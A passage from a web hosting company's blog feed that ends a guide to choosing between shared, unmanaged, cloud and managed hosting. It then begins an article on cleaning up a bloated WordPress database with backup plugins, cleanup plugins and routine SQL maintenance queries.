&lt;p&gt;In addition, the customer is also responsible for the web applications it installs on the server (WordPress, for example), as well as for the updates of these applications, their maintenance and the publication of content.&lt;/p&gt;
&lt;h4 id=&quot;advantages-of-unmanaged-web-hosting&quot;&gt;Advantages of unmanaged web hosting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;low costs money-wise&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;better performance (if set right)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;better uptime&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;you can build powerful hosting solutions (if you know how)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;disadvantages-of-unmanaged-web-hosting&quot;&gt;Disadvantages of unmanaged web hosting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;no administration&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;with great power comes great responsibility&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;high risks (if you don’t know what you’re doing)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;you don’t spend money, but you invest time and effort in managing servers&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;cloud-hosting&quot;&gt;Cloud hosting&lt;/h3&gt;
&lt;p&gt;At one point there was a craze with the cloud, everywhere you heard only this magic word. We’ve heard from customers questions like - Will my website be stored in the cloud? Will it never be down because it’s in the cloud? Will it be hosted on multiple servers in the cloud?&lt;/p&gt;
&lt;p&gt;The concepts of CDN, high scalability, and high availability are indeed possible on the cloud, but the cloud is not magic.&lt;/p&gt;
&lt;p&gt;The cloud is a bucket of resources.&lt;/p&gt;
&lt;p&gt;In a data centre, the provider can have 1000 servers, each with certain resources (CPU, RAM, storage space). The provider uses a software application that gathers all the resources of all its servers into a resource bucket.&lt;/p&gt;
&lt;p&gt;From here on, the provider has several ways to sell hosting services.&lt;/p&gt;
&lt;p&gt;You can create virtual machines (VPS) to sell with management (with cPanel like classic VPS) or without management (with root access like &lt;a href=&quot;https://m.do.co/c/a68d024276cf&quot;&gt;Digital Ocean&lt;/a&gt;, &lt;a href=&quot;https://www.vultr.com/?ref=7254839&quot;&gt;Vultr&lt;/a&gt;, etc.).&lt;/p&gt;
&lt;p&gt;If you want to sell shared hosting, you can create virtual servers onto which you install cPanel and create shared hosting subscriptions.&lt;/p&gt;
&lt;p&gt;Another business model would be to sell resources instead of pre-set subscriptions, like &lt;a href=&quot;https://aws.amazon.com&quot;&gt;Amazon AWS&lt;/a&gt; or &lt;a href=&quot;https://cloud.google.com/&quot;&gt;Google Cloud&lt;/a&gt; do, they bill each resource separately:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;DNS – $0.20 per zone&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SSD storage – $0.017 per GB per month&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CPU – $0.033 per vCPU per hour&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;RAM – $0.004 per GB per hour&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Network traffic – $0.12 per GB&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At the end of the month, the customer pays for how many resources they used that month.&lt;/p&gt;
&lt;p&gt;That would be an explanation for cloud services and web hosting can be called “cloud hosting” if the provider uses the setup explained above.&lt;/p&gt;
&lt;h3 id=&quot;managed-web-hosting&quot;&gt;Managed Web Hosting&lt;/h3&gt;
&lt;p&gt;The web hosting solutions presented above, especially the traditional ones with cPanel, are generic. It was only a matter of time before specialised solutions would appear.&lt;/p&gt;
&lt;p&gt;These specialised web hosting solutions are called managed, but some are not entirely managed, just semi-managed.&lt;/p&gt;
&lt;p&gt;Some focus on a specific platform, like WordPress or Magento, and are marketed as managed WordPress hosting or managed Magento hosting.&lt;/p&gt;
&lt;p&gt;Despite the name of managed hosting, these solutions are also a kind of semi-managed web hosting. Not classic, with cPanel, but a modern version, based on containers or virtual machines using the public cloud infrastructure or even private clouds.&lt;/p&gt;
&lt;p&gt;There are also managed web hosting solutions that are really managed. They are not built on top of existing open-source platforms but have built their own walled gardens, focusing on abstracting the technical part for customers (Squarespace, Shopify or Wix).&lt;/p&gt;
&lt;h4 id=&quot;who-is-managed-hosting-for&quot;&gt;Who is managed hosting for?&lt;/h4&gt;
&lt;p&gt;Managed web hosting is for customers who are willing to invest more money to have a dedicated team behind them. These are generally people who don’t want to bother with the technical part, they just want to publish content and all the technical parts to simply work, even when they have high traffic peaks.&lt;/p&gt;
&lt;h4 id=&quot;responsibility-1&quot;&gt;Responsibility&lt;/h4&gt;
&lt;p&gt;As mentioned above, there are managed hosting solutions where the customer is only responsible for adding content.&lt;/p&gt;
&lt;p&gt;Everything that happens behind the scenes is managed by the hosting provider. The provider manages the servers and what is installed on the servers, from the operating system to the platform where you just add your content.&lt;/p&gt;
&lt;p&gt;There are also managed WordPress solutions where the website owner can install plugins/themes and is also responsible for the code part (only the WordPress core is managed by the hosting provider, who makes the updates).&lt;/p&gt;
&lt;h4 id=&quot;advantages-of-managed-web-hosting&quot;&gt;Advantages of managed web hosting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;fast loading times&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;high-scalability&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;great uptime&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;specialised technical support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;it just works&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;disadvantages-of-managed-web-hosting&quot;&gt;Disadvantages of managed web hosting&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;higher costs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;it’s a niche solution, it’s not all-in-one&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;does not include email hosting&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;does not include DNS hosting (depends on the provider)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These would be the types of web hosting currently available to website owners, especially those using WordPress.&lt;/p&gt;
&lt;h2 id=&quot;which-web-hosting-should-i-choose&quot;&gt;Which web hosting should I choose?&lt;/h2&gt;
&lt;p&gt;Well, the best hosting for others might not be the best for you.&lt;/p&gt;
&lt;p&gt;Every website owner has needs, expectations, a level of technical knowledge, a strategy to grow their website, and ultimately, a budget. For different people, the best web hosting plan can mean something completely different.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;For a &lt;strong&gt;hobby site&lt;/strong&gt;, the best is an affordable shared web hosting plan.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For a &lt;strong&gt;business&lt;/strong&gt; owner, the best will be a premium hosting plan or a managed WordPress solution.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For a &lt;strong&gt;publisher&lt;/strong&gt;, the best will be a managed WordPress plan in the cloud.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For a &lt;strong&gt;shop&lt;/strong&gt;, the best solution will be a performant WooCommerce hosting.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Evaluate your needs; don’t follow reviews blindly (most are fake or paid for).&lt;/p&gt;
&lt;h2 id=&quot;what-are-your-needs-when-it-comes-to-web-hosting&quot;&gt;What are your needs when it comes to web hosting?&lt;/h2&gt;
&lt;p&gt;People are different, and websites are different. Nobody else knows what’s important to you. Your answers to the following questions will help you understand exactly what you need when comparing web hosting options.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;what are your needs?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;what are your website’s needs?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;what are your tech support needs?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;what’s your budget?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;your-needs&quot;&gt;Your needs&lt;/h3&gt;
&lt;p&gt;These questions may get different responses from different people. Your answers will help you understand exactly what you need when comparing web hosting options.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Do you need to host one site or several?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;How important are your websites to you?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Do you need email hosting?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;How important is email?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Do you manage the technical aspects yourself?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;your-websites-needs&quot;&gt;Your website’s needs&lt;/h3&gt;
&lt;p&gt;If your site is a low-traffic blog, it won’t need the same things as a high-traffic online store. Identifying what your site needs helps you evaluate your options.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;What is the site’s traffic?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Will the site have spikes of high traffic?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Does the site require dedicated resources?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Does the site need constant monitoring?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Does the site need performance optimisation?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;your-support-needs&quot;&gt;Your support needs&lt;/h3&gt;
&lt;p&gt;Many people underestimate the complexity of owning a website because technology has made it so easy, fast and cheap to launch.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Are you able &amp;#x26; willing to handle the technical aspects?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Or do you have an employee or collaborator who can take care of the technical part?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Or do you need technical assistance &amp;#x26; support from WordPress experts?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;your-budget&quot;&gt;Your budget&lt;/h3&gt;
&lt;p&gt;The budget is an important criterion, but it shouldn’t be the only or the main filter through which we look at our web hosting options.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;How much money do your websites make?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;What percentage are you comfortable spending on hosting?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Do you have a 5€ budget for each site you own?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Or do you have a total budget of 5€ for all sites?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;final-conclusions&quot;&gt;Final conclusions&lt;/h2&gt;
&lt;p&gt;In general, shared hosting is sufficient for most sites.&lt;/p&gt;
&lt;p&gt;It includes everything you need: DNS, email, web application hosting, backup, support, and security.&lt;/p&gt;
&lt;p&gt;It’s a best-effort solution (provided as-is), but shared web hosting has evolved to deliver surprising performance at a low price; if you have a regular site without special needs, this is the best web hosting solution in terms of quality-price ratio.&lt;/p&gt;
&lt;p&gt;By special needs, I mean customizing PHP or MySQL settings, installing additional services (python, ruby, node.js), sending a large number of emails, performing heavier queries on the database (product imports, stock updates, prices) or other needs specific to your website.&lt;/p&gt;
&lt;p&gt;For sites with special needs, there are two solutions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;upgrade to a VPS or dedicated server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;separate services on specialised providers&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I recommend the separation of services:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;For web hosting - a specialised web hosting solution for your application with specialised support: &lt;a href=&quot;https://kiravo.net/plans/&quot;&gt;managed WordPress hosting&lt;/a&gt;, for example.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;for email hosting - a specialised solution for email such as Google Workspace, Microsoft Exchange, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;for DNS hosting - a solution like Cloudflare, Amazon Route53, DNSMadeEasy, etc&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;for sending transactional emails from the website (order notifications, invoices, etc.) - a specialized solution such as Postmark, Sendgrid, Mailgun, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;for sending marketing emails (newsletters, promotions, etc.) - a specialized solution such as Mailchimp, Drip, ConvertKit, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;for SEO, online advertising (Google Ads, Facebook Ads, etc.), marketing, content creation, etc. - a dedicated person on your team or a subscription to a specialised company.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;for web application security, web application maintenance and administration - a specialized security solution such as Sucuri, a technical person in the team or a subscription to maintenance service.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It’s in our nature to want to work with just one provider (or as few as possible) to make it easier for us, but there’s no single provider that can be the best at twenty things.&lt;/p&gt;
&lt;p&gt;You can start low-cost on shared hosting with cPanel, but beyond a certain point, traditional all-in-one solutions can’t take you further in growing your online business.&lt;/p&gt;
&lt;p&gt;The question you need to ask first is not “What’s the best web hosting?” but “What problem am I trying to solve?”&lt;/p&gt;
&lt;p&gt;What I want to emphasise in conclusion is that web hosting is not a silver bullet; it is not a magic pill that solves all your website problems, nor should it be viewed as such.&lt;/p&gt;</content:encoded><category>Guides</category><author>Elena Chira</author></item><item><title>How to clean up your WordPress database (advanced)</title><link>https://kiravo.net/blog/clean-wordpress-database/</link><guid isPermaLink="true">https://kiravo.net/blog/clean-wordpress-database/</guid><description>Why WordPress databases get bloated, and how to clean one up properly: backups, basic housekeeping, deeper table surgery, and ongoing habits.</description><pubDate>Thu, 27 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Almost all WordPress websites I have seen have bloated databases. This is pretty normal. Nobody was born an expert in building super-efficient and optimized sites.&lt;/p&gt;
&lt;p&gt;When I started using WordPress, I changed themes monthly and tested many plugins. I used to read those “Top 21 must-have plugins” articles, and I installed them all. A couple of weeks later, I uninstalled them.&lt;/p&gt;
&lt;p&gt;This is how you learn: You try, you test, and you discover what you need and what works for you.&lt;/p&gt;
&lt;p&gt;But years later, you’re left with a WordPress database full of old, useless stuff. That’s because your website’s database doesn’t hold just your content, but also all theme and plugin settings.&lt;/p&gt;
&lt;h2 id=&quot;why-is-it-essential-to-have-a-clean-database&quot;&gt;Why is it essential to have a clean database?&lt;/h2&gt;
&lt;p&gt;One customer, a food blog with ~10,000 visits/day, was experiencing slow loading times of 13-15 seconds. The solution offered by the hosting company was to upgrade to a more expensive hosting plan.&lt;/p&gt;
&lt;p&gt;Our solution was different - we performed a site audit after migrating to our hosting platform.&lt;/p&gt;
&lt;p&gt;The site audit is free if you pay annually for any hosting plan from &lt;a href=&quot;https://kiravo.net/&quot;&gt;Kiravo&lt;/a&gt;; you, too, can benefit from this.&lt;/p&gt;
&lt;p&gt;We discovered over 25,000 database entries in the wp_options table with autoload set to yes. “Autoload: yes” means that when WordPress initializes, it reads those options from the database, which takes about 11 seconds.&lt;/p&gt;
&lt;p&gt;We deleted those old, useless options, and now WordPress loads in 2-3 seconds. We also optimised images, replaced some bad plugins with better ones, and made other minor tweaks.&lt;/p&gt;
&lt;p&gt;She didn’t need a more expensive plan; she stayed on the same plan for another 8-9 months until her traffic reached ~60,000 visits/day, at which point it was really time to upgrade.&lt;/p&gt;
&lt;p&gt;The benefit of having a clean WordPress database was that it helped her save money on web hosting, have a faster website, and scale to much more traffic effortlessly. &lt;/p&gt;
&lt;p&gt;So, let’s see what you can do to optimise your WordPress database to get the same benefits.&lt;/p&gt;
&lt;h2 id=&quot;always-backup-first&quot;&gt;Always Backup First&lt;/h2&gt;
&lt;p&gt;Before performing any database cleanup, you must create a full site backup, including the database and files, or at least the database, since that’s where we’ll make changes. This safeguard lets you quickly restore your site to its previous state if anything goes wrong, saving you time, stress, and potential losses.&lt;/p&gt;
&lt;p&gt;Without a backup, you cannot recover accidentally deleted posts, pages, user accounts, or settings. Mistakes during a database cleanup, such as deleting vital tables or corrupting data, can also damage your website, making it inaccessible to visitors.&lt;/p&gt;
&lt;p&gt;You can export your database from phpMyAdmin. Your hosting provider should provide access to this database management tool (or a similar one).&lt;/p&gt;
&lt;p&gt;We offer access to phpMyAdmin, as well as a built-in backup tool that you can use to take manual backups anytime you want. Also, we offer staging sites. That means you can clone your live website to a staging site and perform any changes there before you do it on a live website.&lt;/p&gt;
&lt;p&gt;You can also use a WordPress backup plugin like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/backupwordpress/&quot;&gt;BackupWordPress&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/updraftplus/&quot;&gt;UpdraftPlus&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/backwpup/&quot;&gt;BackupWPUp&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://vaultpress.com/&quot;&gt;VaultPress&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://blogvault.net/&quot;&gt;BlogVault&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wptimecapsule.com/&quot;&gt;WP Time Capsule&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://managewp.com/features/backup&quot;&gt;ManageWP Backups&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When using a backup plugin, please ensure the backup archive is usable outside WordPress. If the site breaks, you need to be able to restore without wp-admin access.&lt;/p&gt;
&lt;h2 id=&quot;basic-wordpress-cleanup&quot;&gt;Basic WordPress Cleanup&lt;/h2&gt;
&lt;p&gt;The easiest way to clean up your WordPress database, especially for non-technical people, is to use a WordPress plugin.&lt;/p&gt;
&lt;p&gt;The most popular database optimization plugins are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-sweep/&quot;&gt;WP-Sweep&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/aaa-option-optimizer/&quot;&gt;AAA Option Optimizer&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/advanced-database-cleaner/&quot;&gt;Advanced Database Cleaner&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/database-cleaner/&quot;&gt;Database Cleaner&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/wps-cleaner/&quot;&gt;WPS Cleaner&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are also caching and optimization plugins that also have database cleaning options integrated, like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/litespeed-cache/&quot;&gt;LiteSpeed Cache&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wp-rocket.me&quot;&gt;WP Rocket&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://perfmatters.io/&quot;&gt;Perfmatters&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://flyingpress.com&quot;&gt;FlyingPress&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-optimize/&quot;&gt;WP-Optimize&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We recommend &lt;strong&gt;WP-Sweep&lt;/strong&gt; because it uses proper WordPress delete functions as much as possible instead of running direct delete MySQL queries.&lt;/p&gt;
&lt;p&gt;Install and activate the WP Sweep plugin then go to Tools &gt; Sweep. You will see different sections with a Sweep button next to them, click the button to clean the clutter.&lt;/p&gt;
&lt;p&gt;This plugin will help you delete:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Revisions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Auto-drafts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Deleted, unapproved &amp;#x26; spammed comments&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Orphaned &amp;#x26; duplicated post meta&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Orphaned &amp;#x26; duplicated comment meta&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Orphaned &amp;#x26; duplicated user meta&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Orphan term relationships&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unused terms&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Transient options&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The plugin can also optimize tables, and it’s easier than doing it via phpMyAdmin.&lt;/p&gt;
&lt;p&gt;Another plugin we recommend is &lt;strong&gt;LiteSpeed Cache&lt;/strong&gt;. It can clean the WordPress database and convert the database tables from MyISAM to InnoDB.&lt;/p&gt;
&lt;p&gt;You can also see the list of autoload entries, their number, and size using LiteSpeed Cache.&lt;/p&gt;
&lt;p&gt;As a bonus, I recommend the Scalability Pro plugin for WooCommerce; it resolves some native performance issues.&lt;/p&gt;
&lt;h2 id=&quot;advanced-wordpress-cleanup&quot;&gt;Advanced WordPress Cleanup&lt;/h2&gt;
&lt;p&gt;After cleaning with the easy method, you should also check manually, more thoroughly, if there are still things that can be optimized in the database.&lt;/p&gt;
&lt;p&gt;Many optimizations can be done for the WordPress® database, but there are some significant issues that, once solved, our database should perform well enough. So, let’s focus on solving these problems with the most significant benefit.&lt;/p&gt;
&lt;p&gt;These are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;cleaning meta keys from the wp_postmeta&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;cleaning the autoload entries from the wp_options table&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;restoring lost primary key from the wp_options table&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;cleaning-meta-keys-from-the-wp_postmeta-table&quot;&gt;Cleaning meta keys from the wp_postmeta table&lt;/h3&gt;
&lt;p&gt;Even after cleaning the database with a plugin like WP Sweep, unnecessary entries may still exist in the wp_postmeta table because not everything has been cleaned.&lt;/p&gt;
&lt;p&gt;Access the database with phpMyAdmin or any database management tool, go to the wp_postmeta table and see what the entries are.&lt;/p&gt;
&lt;p&gt;Let’s take this example.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The wp_postmeta table&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;2527&quot; height=&quot;1362&quot; src=&quot;https://kiravo.net/_astro/postmeta-jpg.B0kbNGOa_17JyWz.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;You can see that there are many entries with the eg_ prefix. You can &lt;strong&gt;ask ChatGPT&lt;/strong&gt;: What WordPress plugin has put entries with the eg_ prefix in my wp_postmeta table?&lt;/p&gt;
&lt;p&gt;ChatGTP tells me that it’s the Essential Grid plugin. If you’re no longer using this plugin, you can delete all these entries manually or by running a query to delete them in bulk.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DELETE FROM wp_postmeta WHERE meta_key LIKE &apos;eg_%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This query deletes all meta keys that start with eg_. Don’t forget to &lt;strong&gt;backup&lt;/strong&gt; your database or at least the wp_postmeta table before you start running queries to clean the table.&lt;/p&gt;
&lt;p&gt;Repeat the process with any other meta keys that you find to be in a large number and you don’t recognize what they are and what are they used for.&lt;/p&gt;
&lt;h3 id=&quot;cleaning-the-autoload-entries-from-the-wp_options-table&quot;&gt;Cleaning the autoload entries from the wp_options table&lt;/h3&gt;
&lt;p&gt;This is the problem we discussed in the introduction of this article: the wp_options table became bloated with entries with the Autoload value set to Yes.&lt;/p&gt;
&lt;p&gt;These entries are read each time WordPress is initialized.&lt;/p&gt;
&lt;p&gt;The easiest way to see these entries is to use the LiteSpeed ​​Cache plugin and go to the Database section. Scroll to Database Summary and see the list of autoload entries, their number, and size.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Autoload entries seen in the LiteSpeed Cache plugin&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;1564&quot; height=&quot;1636&quot; src=&quot;https://kiravo.net/_astro/lscache-db-1-png.Cu2y-ku1_16KBdB.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;In the example above, there are no issues; it’s a clean database, but if you see on your website some huge entries, you can ask &lt;strong&gt;Chat GPT&lt;/strong&gt;: What plugin has put the X entry in the wp_options table of my WordPress database?&lt;/p&gt;
&lt;p&gt;You can thus identify the plugin that added that data, and if you no longer use it, you can delete the respective entry.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DELETE FROM wp_options WHERE option_name LIKE &apos;your-option-name&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The SQL query from above delete the entry, just replace your-option-name with the actual name of the entry.&lt;/p&gt;
&lt;p&gt;Do not forget to &lt;strong&gt;back up&lt;/strong&gt; the database or at least the wp_options table before starting the cleanup.&lt;/p&gt;
&lt;h3 id=&quot;restoring-the-lost-primary-key-from-the-wp_options-table&quot;&gt;Restoring the lost primary key from the wp_options table&lt;/h3&gt;
&lt;p&gt;Another problem I encountered is related to the wp_options table, namely there are cases where this table loses its primary key.&lt;/p&gt;
&lt;p&gt;The option_id field is by default configured to be the primary key.&lt;/p&gt;
&lt;p&gt;The primary key guarantees the uniqueness of each row in the table and allows indexing of rows for quick access. If we have duplicate values ​​and the primary key is lost, operations on this table will be slower because it is no longer possible to quickly access a specific row. A full table scan is performed—that is, every row in the table is read to find the necessary data, which takes more time.&lt;/p&gt;
&lt;p&gt;In some situations, such as manual migrations with mysqldump from one server to another, the table may lose its primary key when MySQL versions are different between servers.&lt;/p&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;option_id&lt;/th&gt;&lt;th&gt;option_name&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;option1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;option2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;option3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;option4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;option5&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;option6&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;To solve this situation, we need to make the option_id column the primary key again. However, we can’t do that if there are duplicate values, the ones with 0, so they have to be deleted or renumbered.&lt;/p&gt;
&lt;p&gt;Deleting them resets theme or plugin configurations, but we can renumber them. Run these queries on your wp_options table.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SET @new_option_id := 4;
UPDATE wp_options
SET option_id = (@new_option_id := @new_option_id + 1)
WHERE option_id IN (
    SELECT option_id
    FROM (
        SELECT option_id
        FROM wp_options
        WHERE option_id = 0
        GROUP BY option_id
        HAVING COUNT(*) &gt; 1
    ) AS duplicates
);
DELETE FROM wp_options WHERE option_id = 0;
ALTER TABLE wp_options ADD PRIMARY KEY  (option_id);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The queries you see on the screen do the following:&lt;/p&gt;
&lt;ul&gt;
